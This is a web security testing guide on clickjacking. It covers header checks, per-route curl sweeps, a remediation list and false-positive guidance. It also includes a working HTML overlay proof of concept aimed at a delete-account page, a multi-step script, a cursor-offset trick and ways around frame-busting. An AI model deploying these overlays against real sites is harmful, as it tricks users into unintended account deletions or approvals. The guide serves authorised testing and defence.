Clickjacking
Clickjacking (UI redress attack) loads a target page in a transparent iframe over a decoy page. When users think they're clicking on the decoy, they're actually interacting with the hidden target page — enabling unauthorized actions like changing settings, deleting accounts, approving transactions, or granting permissions.
Frameworks: WSTG-CLNT-09 · ASVS 5.0 V3.4.6 · CWE-1021
Why Framing Is a Security Boundary
Clickjacking exists because the same-origin policy draws its line at reading, not at rendering. A page on attacker.com may load target.com in an iframe; it simply cannot read what is inside. That is enough for UI redress — position the frame beneath a decoy, drop the opacity, and the victim's click lands on a real control in a real session, with no script crossing the boundary.
This is also why CSRF tokens, SameSite cookies and MFA prompts do not help: the click is a genuine user gesture on the genuine origin, sent with the victim's own credentials. The attack needs four things — an authenticated victim, a framable page, a sensitive action one or two clicks away, and a plausible decoy. Remove any one and it fails, which is how the finding should be ranked.
Detection — Can the Page Be Framed?
Read the response headers, and read them on the page that matters. The usual failure is not a global
omission but a header applied by application middleware to HTML routes only, leaving JSON endpoints,
legacy paths, error pages and the mobile host unprotected. X-Frame-Options accepts
DENY or SAMEORIGIN; ALLOW-FROM is obsolete and no current browser
honours it. CSP frame-ancestors supersedes it, takes a list of origins, and is ignored
when delivered in a meta tag — it must be a real response header.
# Check frame protection headers:
curl -sI https://target.com/settings | grep -iE 'x-frame-options|content-security-policy'
# X-Frame-Options values:
# DENY — cannot be framed at all (SAFE)
# SAMEORIGIN — can only be framed by same origin (SAFE)
# ALLOW-FROM https://example.com — obsolete and unsupported by modern browsers; do not rely on it
# (missing header) — VULNERABLE to clickjacking!
# CSP frame-ancestors:
# Content-Security-Policy: frame-ancestors 'none' (equivalent to DENY)
# Content-Security-Policy: frame-ancestors 'self' (equivalent to SAMEORIGIN)
# Content-Security-Policy: frame-ancestors https://example.com
# Quick test — create a local HTML file:
# If the page loads in the iframe → clickjacking possibleBasic Clickjacking PoC
The PoC proves rendering, not impact. Align the iframe so the target's confirm button sits under the
decoy button, keep opacity at 0.0001 rather than 0, and pin the frame to a
fixed pixel size if the alignment has to survive a different viewport — the percentage-based version
above only lines up at one window size. Load it in a fresh browser profile, click the decoy once, then
check the target account. A screenshot of an empty frame is not evidence.
<!-- Save as clickjack-poc.html and open in browser -->
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking PoC</title>
<style>
#decoy {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: 1;
}
#target-iframe {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
opacity: 0.0001; /* Nearly invisible */
z-index: 2;
border: none;
}
.click-me-button {
position: absolute;
top: 300px; left: 200px;
padding: 20px 40px;
background: #4CAF50;
color: white;
font-size: 24px;
cursor: pointer;
}
</style>
</head>
<body>
<div id="decoy">
<h1>Win a Free Prize!</h1>
<div class="click-me-button">Click Here to Claim!</div>
</div>
<!-- Target iframe positioned so the sensitive button aligns -->
<!-- with the decoy "Click Here" button -->
<iframe id="target-iframe" src="https://target.com/settings/delete-account"></iframe>
</body>
</html>Advanced Clickjacking Variants
Multi-step variants move the frame between clicks to walk a victim through a confirmation dialog; drag-and-drop and text-field variants exist because some controls cannot be triggered by a single click. Treat them as impact multipliers rather than separate bugs: they matter only if the first click already reaches a sensitive control.
<!-- Multi-step clickjacking (click multiple buttons in sequence) -->
<script>
let step = 1;
document.addEventListener('click', function() {
if (step === 1) {
// Move iframe to align next button
document.getElementById('target-iframe').style.top = '-200px';
step = 2;
} else if (step === 2) {
// Confirm dialog button is now under cursor
document.getElementById('target-iframe').style.top = '-400px';
step = 3;
}
});
</script>
<!-- Drag-and-drop clickjacking -->
<!-- Use HTML5 drag events to move content between frames -->
<!-- Cursor manipulation -->
<style>
body { cursor: none; }
.fake-cursor {
position: fixed;
pointer-events: none;
/* Offset the visible cursor from actual position */
transform: translate(200px, 150px);
}
</style>
<!-- Text field injection via clickjacking -->
<!-- Position iframe so user types into hidden form field -->JavaScript Frame-Busting Bypass
JavaScript frame-busting is a weak control, not a fix, and several bypasses below date from the IE
era. Modern browsers block cross-origin top navigation from a framed page without user activation,
which incidentally defeats a naive top.location = self.location — but a
sandbox attribute without allow-top-navigation still stops the buster from
running. If a frame-buster is the only protection, report the page as bypassable rather than protected.
<!-- Some sites use JavaScript frame-busting:
if (top !== self) { top.location = self.location; }
-->
<!-- Bypass 1: sandbox attribute -->
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- 'sandbox' without 'allow-top-navigation' blocks frame-busting -->
<!-- Bypass 2: Double framing -->
<!-- attacker.com frames middleman.com which frames target.com -->
<!-- Bypass 3: onbeforeunload to prevent navigation -->
<script>
window.onbeforeunload = function() { return ''; };
</script>
<iframe src="https://target.com"></iframe>Is It Actually Exploitable?
No header is not the same as exploitable. Three things routinely break the chain: the page may have no state-changing action, or may require re-authentication before it accepts one; third-party cookie blocking means the framed request arrives without the session, so the victim sees a login page; and a frame-buster may still fire. Sweep the routes first, then confirm by loading the PoC with the frame opacity raised temporarily. If authenticated content renders, the finding is real; if it renders the login page, you have a missing header, not a clickjacking vulnerability.
# Check framing protection per route, not just the homepage:
for path in / /settings /account/delete /admin; do
printf '%s ' "$path"
curl -sI "https://target.com$path" \
| grep -iE '^(x-frame-options|content-security-policy):' || echo '(none)'
doneTesting Checklist
- ☐ 1. Check X-Frame-Options and CSP frame-ancestors headers
- ☐ 2. Create PoC HTML loading the target in an iframe
- ☐ 3. Test on sensitive state-changing pages (settings, delete, approve, transfer)
- ☐ 4. Test for JavaScript frame-busters and sandbox bypass
- ☐ 5. Verify all pages set framing headers (not just the homepage)
- ☐ 6. Confirm framing is actually blocked (CSP
frame-ancestors/ X-Frame-Options), not just assumed blocked because CSRF tokens exist
Evidence Collection
Headers: Response headers showing missing X-Frame-Options and CSP
PoC: HTML file demonstrating the target page loaded in an iframe
Impact: Screenshot showing what action could be triggered through the overlay
Route Coverage: The per-route header sweep output, proving which pages lack framing protection — the homepage alone is not evidence
Chain Preconditions: Which of the four conditions you verified: authenticated session inside the frame, framable response, reachable action, plausible decoy
CVSS Range: Generic: 4.3–6.1 | State-changing action: 6.1–7.5
Remediation
- • X-Frame-Options: DENY: Set this header on all pages (or SAMEORIGIN if framing is needed internally).
- • CSP frame-ancestors: Add
Content-Security-Policy: frame-ancestors 'none'— this supersedes X-Frame-Options. - • Not a clickjacking fix:
SameSitecookies and CSRF tokens do not prevent framing — they only reduce the impact of some forged state-changing requests. Use CSPframe-ancestors/X-Frame-Optionsto block framing. - • Confirmation steps: Add re-authentication or CAPTCHA for critical actions as defense-in-depth.
- • Send it as a header:
frame-ancestorsis ignored inside ametaCSP. Set it on the response, including error pages and JSON endpoints that render in a frame. - • Do not use ALLOW-FROM: It was never supported in Chrome or Safari and is obsolete in every current browser. Use
frame-ancestorsfor any multi-origin allowlist.
False Positive Identification
- Missing X-Frame-Options on non-sensitive pages: A marketing/public page frameable without X-Frame-Options is informational, not a vulnerability — focus on pages with state-changing actions (settings, transfers, deletions).
- CSP frame-ancestors present: If CSP with frame-ancestors is set, X-Frame-Options is redundant — check both headers before reporting.
- Login CSRF via clickjacking: Framing a login page is only impactful if you can demonstrate a realistic attack scenario (e.g., login CSRF with attacker-controlled account).
- Framed page renders logged out: Third-party cookie blocking (Safari ITP, Chrome's tracking protections) often strips the session from a cross-site frame. If the PoC shows the login page, the header is missing but the attack does not work as described.
- Frame-buster still firing: A page with only JavaScript frame-busting has no reliable control, but a buster that survives the sandbox bypass means your PoC has to be fixed before the finding can be called exploitable.
Clickjacking Practice
Build working frame overlays against pages with weak framing protection.